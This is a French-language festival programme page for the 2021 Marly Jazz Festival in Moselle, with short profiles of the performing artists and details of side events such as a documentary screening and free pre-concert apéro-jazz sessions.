MARLY JAZZ FESTIVAL, DU 09 au 12 SEPTEMBRE 2021

à l’Espace Culturel LE NEC de Marly (57)

marlyjazzfestival.com


  • Eric Legnini, le vendredi 10 septembre à 20h30

Après Sing twice ! et Waxx up, où la voix et le groove étaient très présents, le pianiste Eric Legnini revient à l’instrumental avec l’album Six Strings Under où la guitare est à l’honneur, mais ne renonce pas à l’ouverture et à la modernité.

Marly Jazz Festival Eric Legnini

Eric Legnini © Philipducap – fineartphotography

C’est une formule inhabituelle dans le jazz contemporain mais très éprouvée à l’époque d’Oscar Peterson, de Ray Charles ou de Nat King Cole, des références pour Eric Legnini : le trio piano-contrebasse-guitare a été une façon pour le pianiste belge d’écrire un nouveau chapitre de sa discographie. Après l’omniprésence de la voix sur Sing twice ! et Waxx up, place à la guitare dans Six Strings Under. « J’ai voulu revenir à l’essence du trio avec cette orchestration à l’ancienne, explique-t-il. La guitare est souvent à l’origine de ce que les anglo-saxons appellent le « hook », le riff capable d’accrocher l’attention, d’une mélodie que je recherche toujours dans mon écriture ».

Pour ce nouvel album, Eric Legnini s’est entouré de son ami de vingt ans Thomas Bramerie à la contrebasse et des guitaristes Hugo Lippi et Rocky Gresset ; ce dernier, qui a évolué dans la sphère de la musique manouche, joue à l’oreille, ce qui « a renforcé la notion d’écoute et le feeling du groupe, indique Eric Legnini. On dit souvent que piano et guitare ne font pas bon ménage car ce sont des instruments capables de créer des univers à eux seuls ; le challenge a été de les faire cohabiter, et c’est l’écoute qui a permis l’alchimie ». Six Strings Under explore toutes les nuances de la guitare : la bossa nova de La Mangueira, l’afrobeat de Boda Boda, la pop à la Radiohead de Daydreaming … et une reprise étonnante du Space Oddity de David Bowie au piano. « J’aime prendre les choses à contre-pied, aborder des esthétiques différentes, c’est le point commun entre tous mes albums, explique le pianiste. Je pense toujours à l’histoire, mais en imprimant de nouvelles directions : le jazz permet à cette liberté-là de s’exprimer pleinement ». 


  • Sarah McKenzie, le samedi 11 septembre à 20h30
Sarah McKenzie Marly Jazz Festival

Sarah McKenzie©Oscar May

Après le succès de son précédent disque Paris in the rain, qui l’a propulsé sur les scènes du monde entier, Sarah McKenzie récidive avec un nouveau disque, mêlant compositions originales et reprises. Chanteuse, pianiste et compositrice, elle a pris la mélodie comme point de départ pour Secrets of my heart avant d’y poser sa voix, pour mieux faire sonner ses mots. Influencée par Johnny Mercer, Sammy Kahn, Irving Berlin et Cole Porter, Sarah McKenzie a également partagé le piano avec Michel Legrand et revendique l’influence de la culture harmonique européenne sur Secrets of my hearts. Un cinquième album sur lequel intervient Chong Lim, arrangeur-compositeur de renom, producteur des deux premiers disques de l’australienne et qui lui a fait découvrir la bossa nova d’Antonio Carlos Jobim, dont on retrouve indéniablement des traces sur Secrets of my heart. Alternant friandises colorées, hymnes sensuels, pure tradition du jazz vocal féminin et influences latines, le nouveau disque de Sarah McKenzie est marqué de bout en bout par un swing intemporel.


  • Sarah Lenka, le samedi 11 septembre à 20h30
Sarah Lenka Marly Jazz Festival

Sarah Lenka©DR

Surnommée « la petite sœur de Bessie Smith », à qui elle a rendu hommage sur I Don’t dress fine, Sarah Lenka restitue sur Women’s Legacy les chants de femmes esclaves afro-américaines, collectés par l’ethnologue Alan Lomax. On redécouvre la voix de la chanteuse, qui sait se faire délicate ou plus rugueuse, et qui conjugue ici la force des mots et de l’interprétation à une sensibilité à fleur de peau. Loin de vouloir imiter l’intensité du matériau d’origine, Sarah Lenka en livre sa propre interprétation, avec cette voix joueuse au timbre éraillé inimitable. Un choix judicieux, convaincant, qui lui permet d’offrir une nouvelle lecture de ces textes, dans son propre univers jazz et folk, pour un fascinant et édifiant voyage.


  • Robin McKelle, le jeudi 09 septembre à 20h30
Robin McKelle Marly Jazz Festival

RobinMcKelle ©frankbullitt

Au fil de sept albums plébiscités par la critique et le public, Robin McKelle a tracé un parcours multidirectionnel dont le jazz a constitué la force motrice. Élève et enseignante du prestigieux Berklee College of music, ce n’est pourtant pas dans une école qu’elle a forgé sa voix : la sienne est plutôt née d’une vibration viscérale déclinée sur des rythmes pop, soul, blues et rythm’n’blues… une démarche qui aboutit à son projet le plus ambitieux, un « condensé » de sa carrière : sur Alterations, sorti en 2020, elle choisit de se livrer à un exercice périlleux : la relecture de grands standards. Elle choisit de rendre hommage uniquement à des artistes féminines, et sort une nouvelle fois du cadre : Billie Holiday, Janis Joplin, Amy Winehouse, Dolly Parton, Adèle, Lana Del Rey, Joni Mitchell… des artistes qui chacune, à leur façon, ont écrit en filigrane une contre-histoire de la musique populaire. Sur dix titres, la chanteuse américaine puise tout autant dans sa maîtrise vocale que dans sa capacité à lâcher prise, à sublimer les fêlures de sa voix. Claves cubaines, cymbales en charleston et voix de velours sur le Black to Black d’Amy Winehouse, voix plus rocailleuse pour Mercedes Benz, l’hymne engagé de Janis Joplin tissant un pont entre le rock’n’roll, la soul et des scats qui rythment une vie en feu, ou encore le groove électrisant du Jolene de Dolly Parton, Robin McKelle déploie sa sensibilité, son talent et convoque des âmes puissantes pour « peindre un tableau » aux multiples nuances.


  • Laurent Coulondre, le dimanche 12 septembre à 20h30
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En 2019, le pianiste Laurent Coulondre signait un vibrant hommage à Michel Petrucciani avec Michel on my mind, avec Jérémy Bruyère à la basse et André Ceccarelli à la batterie. Vingt ans après la disparition d’un artiste qui a marqué le monde de la musique bien au-delà des sphères jazz, Coulondre témoigne avec inspiration de sa fascination pour un personnage qui le passionne depuis l’enfance. « Interpréter Michel Petrucciani, c’est avant tout peindre des émotions sincères, des couleurs vives et j’ai rarement entendu un pianiste capter l’essence de sa musique avec autant de justesse » déclarait Alexandre Petrucciani, le fils du musicien, à la sortie du disque. L’énergie est toujours de mise chez l’un des pianistes français les plus doués et généreux du moment : entre cascades de notes et silences savamment ménagés, Laurent Coulondre imprime sa propre patte à un répertoire de légende, déclenchant chez l’auditeur des vagues d’émotion pure. Une grande bouffée d’oxygène et de talent.


  • El4ctric 4tet, le jeudi 09 septembre à 20h30
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Le pianiste et compositeur vosgien Stéphane Escoms s’est d’abord entouré de Claire « Chookie » Jack à la basse (également vue chez le funky Mr Yaz) et de Jérôme Spieldenner à la batterie, avant d’associer à leur rythmique précise et imparable le guitariste israélien Eran Har Even pour former El4ctric 4tet. Fluide, lyrique et (forcément) électrique, la musique du quartet est dans ce registre des plus subtile. Pas de jazz-rock tonitruant, mais un combo qui multiplie les emprunts, par touches, ceux-ci s’enchaînant tout au long de leur album éponyme sorti en 2019. John Scolfield et The Weather Report du côté des références avouées, et du swing, de la délicatesse et un « mood » ultra-revigorant.


  • Michael Cuvillon, le dimanche 12 septembre à 20h30
Michael Cuvillon

Michael Cuvillon ©Olivier Letellier

Vu chez les Lorrains du groupe The Shoplifters, des amoureux des croisements rock, pop et jazz ou encore au sein du Medium ensemble de Damien Prud’homme, le saxophoniste Michael Cuvillon a mené en 2018 un projet singulier : La Part d’Euterpe. Une pièce concertante adaptée et composée pour un orchestre à vents issu de l’Union musicale de Gérardmer et un trio de jazz ; pour l’occasion, Michael Cuvillon s’est entouré du batteur Jean-Marc Robin et du contrebassiste Sébastien Maire. Se basant sur le jeu traditionnel des orchestres d’harmonie en termes d’écriture, La Part d’Euterpe s’ouvrait aux rythmes, aux harmonies du jazz et bien entendu à son sens aigu de l’improvisation. Une expérience concluante et enthousiasmante pour les trois musiciens puisqu’ils ont décidé de poursuivre l’aventure en trio, avec un nouveau répertoire original qui place la mélodie au cœur de leurs échanges.


  • Trilogiqu3, le vendredi 10 septembre à 20h30
Trilogiqu3 jazz

Trilogiqu3 ©Joseph Pitois

Trilogiqu3, le trio du compositeur et saxophoniste messin Damien Prudhomme, mêle compositions originales et reprises de Keith Jarrett, Thelonious Monk ou Carla Bley. Une complicité de longue date lie les trois musiciens, qui ont livré cette année leur second album.

Il explore à parts égales l’histoire du jazz et l’instant présent, essence de cette chose mystérieuse connue sous le nom de feeling. Directeur du département jazz au Conservatoire de Metz, compositeur et saxophoniste admirateur de Charlie Parker et Groover Washington, Damien Prudhomme a donné naissance en 2016 à un trio avec le batteur Franck Agulhon et le contrebassiste Gautier Laurent. « On a commencé avec l’idée de jouer autrement la musique des autres, puis nous avons affirmé notre identité dans notre second album, qui fait plus de place à la composition, explique le saxophoniste. La mélodie est au cœur de nos morceaux, que je vois comme des chansons sans paroles ».

Sur le second album de Trilogiqu3, avec pour invité le pianiste Volker Engelberth, l’attention est portée à chaque couleur musicale. Un jeu très mélodique donc, fait d’espaces et d’échanges entre les musiciens, qui « écrit une histoire » tout en intelligence musicale. Explorant les univers de Jim Hall ou de Keith Jarrett, de Thelonious Monk ou de Carla Bley, le trio évolue avec ou sans la présence du piano avec la même envie et la même liberté sur des compositions originales. « Nous ne sommes jamais dans l’imitation, note Damien Prudhomme. Je m’inspire de voyages, du son new-yorkais comme de ma formation classique : je suis gourmand en musique et j’ai du mal à choisir ! Ma musique évolue avant tout au gré des rencontres : Trilogiqu3 s’est construit autour de musiciens complices, dont la rythmique et la générosité sont les moteurs du groupe ».


Autour du festival

Le Marly Jazz festival se déploie hors des concerts au NEC avec la projection du documentaire Bue Note records : Beyond the notes de Sophie Huber, qui revient sur l’histoire d’un label mythique, avec un concert de la formation Soul Station distillera en amont de la projection. Avant chaque concert, des apéros-jazz gratuits se tiendront sur le parvis du NEC : le Amaury Charmetan trio, les élèves du Conservatoire Régional du Grand Nancy, le Big Band de Woippy et le trio de Mathis Klaine se succéderont à partir de 19h pour une entame conviviale autour d’un verre et d’un repas.

« Bue Note records : Beyond the notes »

mardi 4 septembre à 20h30 au cinéma Marlymages

Apéros-jazz à 19h chaque jour de concert sur le parvis du NEC